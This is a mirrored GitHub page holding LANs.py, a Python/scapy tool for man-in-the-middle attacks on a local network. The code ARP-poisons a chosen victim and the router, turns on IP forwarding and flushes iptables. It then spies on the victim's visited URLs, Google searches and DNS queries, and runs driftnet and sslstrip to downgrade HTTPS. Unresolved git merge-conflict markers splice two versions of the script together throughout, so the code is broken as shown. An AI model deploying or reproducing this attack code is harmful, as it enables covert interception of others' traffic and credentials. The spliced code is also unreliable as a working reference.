mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-07 13:32:14 -07:00
276 lines
8.3 KiB
Python
276 lines
8.3 KiB
Python
#!/usr/bin/python
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import logging
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
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from scapy.all import *
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conf.verb=0
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<<<<<<< HEAD
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#Below is necessary to receive a response to the DHCP packets for some reason
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conf.checkIPaddr=0
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import time
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import sys
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import threading
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import argparse
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import sys
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import os
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import signal
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import commands
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bash=commands.getoutput
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#Check if root
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if not os.geteuid()==0:
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sys.exit("\nPlease run as root\n")
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#Create the arguments
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parser = argparse.ArgumentParser()
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parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing", action="store_true")
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parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting", action="store_true")
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parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning")
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parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet", action="store_true")
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parser.add_argument("-g", "--google", help="Print google searches", action="store_true")
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parser.add_argument("-s", "--sslstrip", help="Run sslstrip and output to sslstrip.txt", action="store_true")
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=======
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import time, sys
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import threading
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import argparse
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import sys
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import signal
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import argparse
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import commands
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bash=commands.getoutput
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parser = argparse.ArgumentParser()
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parser.add_argument("-u", "--urlsnarf", help="Run with urlsnarf in output", action="store_true")
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parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim")
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parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet", action="store_true")
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>>>>>>> 7a81ddf077dfc15dc3e14b2daee51603d48b1c89
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args = parser.parse_args()
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#Find the gateway and use it as the router's info
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routerCmd = bash('ip route')
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routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd)
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routerIP = routerRE.group(1)
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IPprefix = routerRE.group(2)
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interface = routerRE.group(3)
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<<<<<<< HEAD
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if args.dnsspy:
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print "Checking if the router is the DNS server..."
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dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
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ans, unans = srp(dhcp_discover, timeout=5, retry=2)
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if ans:
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for p in ans:
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DNSserver = p[1][IP].src
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print "DNS server at: ", DNSserver, '\n'
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else:
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print "No answer to DHCP packet sent to find DNS server\n"
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if args.ipaddress:
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victimIP = args.ipaddress
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else:
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ans,unans = arping(IPprefix+'*')
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for s,r in ans:
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ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
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print ips
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victimIP = raw_input('\nType victim\'s IP: ')
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def originalMAC(ip):
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# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
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ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=7, retry=3)
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=======
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driftcounter = 0
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class ThreadClass(threading.Thread):
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def run(self):
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process = subprocess.Popen(['urlsnarf', '-i', interface], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
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while True:
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out = process.stdout.read(1)
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if out == '' and process.poll() != None:
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break
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if out != '':
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sys.stdout.write(out)
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sys.stdout.flush()
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def originalMAC(ip):
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ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5)
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>>>>>>> 7a81ddf077dfc15dc3e14b2daee51603d48b1c89
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for s,r in ans:
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return r.sprintf("%Ether.src%")
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def poison(routerIP, victimIP):
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
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def restore(routerIP, victimIP, routerMAC, victimMAC):
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=5)
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=5)
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<<<<<<< HEAD
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def URL(pkt):
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if pkt.haslayer(Raw):
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request = pkt[Raw].load
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searchGET = re.compile('GET')
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get = searchGET.search(request)
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searchHost = re.compile('Host:')
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host = searchHost.search(request)
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if get and host:
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a = request.split("\r\n")
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b = a[1].split(" ")
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c = a[0].split(" ")
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url = b[1]+c[1]
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if args.urlspy:
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print url
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if args.google:
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if 'google' in url:
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r = re.findall(r'(?i)\&q=(.*?)\&', request)
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if r:
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search = r[0].split('&')[0]
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search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'')
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print '%s googled:' % victimIP, search
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def DNS(pkt):
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if pkt.haslayer(DNSQR):
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dnsreq = pkt[DNSQR].qname
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print dnsreq
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class urlspy(threading.Thread):
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def run(self):
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sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
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class dnsspy(threading.Thread):
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def run(self):
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sniff(store=0, filter='port 53 and host %s' % victimIP, prn=DNS, iface=interface)
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#class ssltrip(threading.Thread):
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# def run(self):
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def sslstrip():
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print 'Redirecting traffic to port 10000 and starting sslstrip\n'
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ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
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sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
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def main():
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#Forward packets and flush iptables
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ipforward = bash('echo 1 > /proc/sys/net/ipv4/ip_forward')
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ipF = bash('iptables -F')
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ipNATF = bash('iptables -t nat F')
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ipX = bash('iptables -X')
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ipNATX = bash('iptables -t nat -X')
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=======
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if args.ipaddress:
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victimIP = args.ipaddress
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else:
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ans,unans = arping(IPprefix+'*')
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for s,r in ans:
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ips = r.sprintf("%ARP.psrc%")
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print ips
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victimIP = raw_input('\nType victim\'s IP: ')
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def main():
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def signal_handler(signal, frame):
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print ' ... Sending healing packets and turning off IP forwarding ...'
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restore(routerIP, victimIP, routerMAC, victimMAC)
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restore(routerIP, victimIP, routerMAC, victimMAC)
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ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
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sys.exit(0)
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signal.signal(signal.SIGINT, signal_handler)
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#Forward packets and flush iptables
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ipforward = bash('echo 1 > /proc/sys/net/ipv4/ip_forward')
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bash('iptables --flush')
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>>>>>>> 7a81ddf077dfc15dc3e14b2daee51603d48b1c89
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print 'Enabled IP forwarding and flushed the firewall\n'
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print "Active interface = " + interface
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print "Router IP = " + routerIP
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print "Client IP = " + victimIP
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try:
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routerMAC = originalMAC(routerIP)
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print "Router MAC: " + routerMAC
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victimMAC = originalMAC(victimIP)
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print "Victim MAC: " + victimMAC + "\n"
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except:
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<<<<<<< HEAD
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sys.exit("Could not get MAC addresses")
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if args.urlspy or args.google:
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ug = urlspy()
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#Make sure the thread closes with the main program on Ctrl-C
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ug.daemon = True
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ug.start()
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if args.dnsspy:
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dt = dnsspy()
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dt.daemon = True
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dt.start()
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if args.driftnet:
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time.sleep(5)
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driftnet = bash('xterm -e driftnet -i %s' % interface)
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if args.sslstrip:
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sslstrip()
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def signal_handler(signal, frame):
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print 'learing iptables, sending healing packets, and turning off IP forwarding...'
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restore(routerIP, victimIP, routerMAC, victimMAC)
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restore(routerIP, victimIP, routerMAC, victimMAC)
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ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
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flush = bash('iptables -t nat -F')
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sys.exit(0)
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signal.signal(signal.SIGINT, signal_handler)
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=======
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try:
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print "Didn't recieve a reply; trying again..."
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routerMAC = originalMAC(routerIP)
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print "Router MAC: " + routerMAC
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victimMAC = originalMAC(victimIP)
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print "Victim MAC: " + victimMAC + "\n"
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except:
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try:
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print "Didn't recieve a reply; trying again..."
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routerMAC = originalMAC(routerIP)
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print "Router MAC: " + routerMAC
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victimMAC = originalMAC(victimIP)
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print "Victim MAC: " + victimMAC + "\n"
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except:
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sys.exit("Could not get MAC addresses")
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if args.urlsnarf:
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time.sleep(10)
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t=ThreadClass()
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t.start()
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if args.driftnet:
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time.sleep(10)
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driftnet = bash('xterm -e driftnet -i %s ' % interface)
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>>>>>>> 7a81ddf077dfc15dc3e14b2daee51603d48b1c89
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while 1:
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poison(routerIP, victimIP)
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<<<<<<< HEAD
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try:
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if DNSserver != routerIP:
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poison(DNSserver, victimIP)
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except Exception:
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pass
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time.sleep(4)
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=======
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if driftcounter < 1:
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if args.driftnet:
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driftnet = bash('xterm -e driftnet -i %s ' % interface)
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driftcounter = 1
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time.sleep(2)
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>>>>>>> 7a81ddf077dfc15dc3e14b2daee51603d48b1c89
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if __name__ == "__main__":
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main()
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